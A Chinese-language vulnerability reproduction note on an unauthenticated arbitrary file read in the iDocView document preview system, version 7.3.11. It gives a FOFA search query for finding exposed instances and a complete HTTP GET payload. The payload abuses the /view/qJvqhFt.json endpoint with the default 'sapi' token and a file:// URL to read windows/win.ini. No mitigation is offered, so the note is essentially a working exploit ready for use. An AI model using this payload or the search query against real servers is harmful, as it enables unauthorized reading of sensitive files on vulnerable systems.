I4-4IDocView-在线文档解析应用-任意文件读取

漏洞描述:

iDocView是一个在线文档预览系统 /view/qJvqhFt.json 接口处存在任意文件读取漏洞,未授权的攻击者可以利用此接口并携带默认token读取服务器敏感文件信息,使系统处于极度不安全的状态。

网站图片: I Doc View

在线文档预览、压缩文件预览、图纸预览、图片预协作编辑、同步展示等 - I Doc View

支持格式

文档类: doc, docx, xls, xlsx, ppt, pptx, pdf, txt

图片类: jpg, gif, png, bmp, tif 音频类: mp3, m4a, midi, wma 压缩文件类: zip, rar, tar, 7z 图纸类: dwg, dxf, dwf

Version: 7.3.11_20170502

fofa语法:

title=="在线文档预览 - I Doc View"

漏洞复现:

payload:

GET /view/qJvqhFt.json?start=1&size=5&url=file%3A%2F%2F%2F%2F%2F%3A%2Fwindows%2Fwin.ini&idocv_auth=sapi HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: zip, deflate, br
Accept-Encoding: zh-CN,zh;q=0.9
Connection: close

效果图:

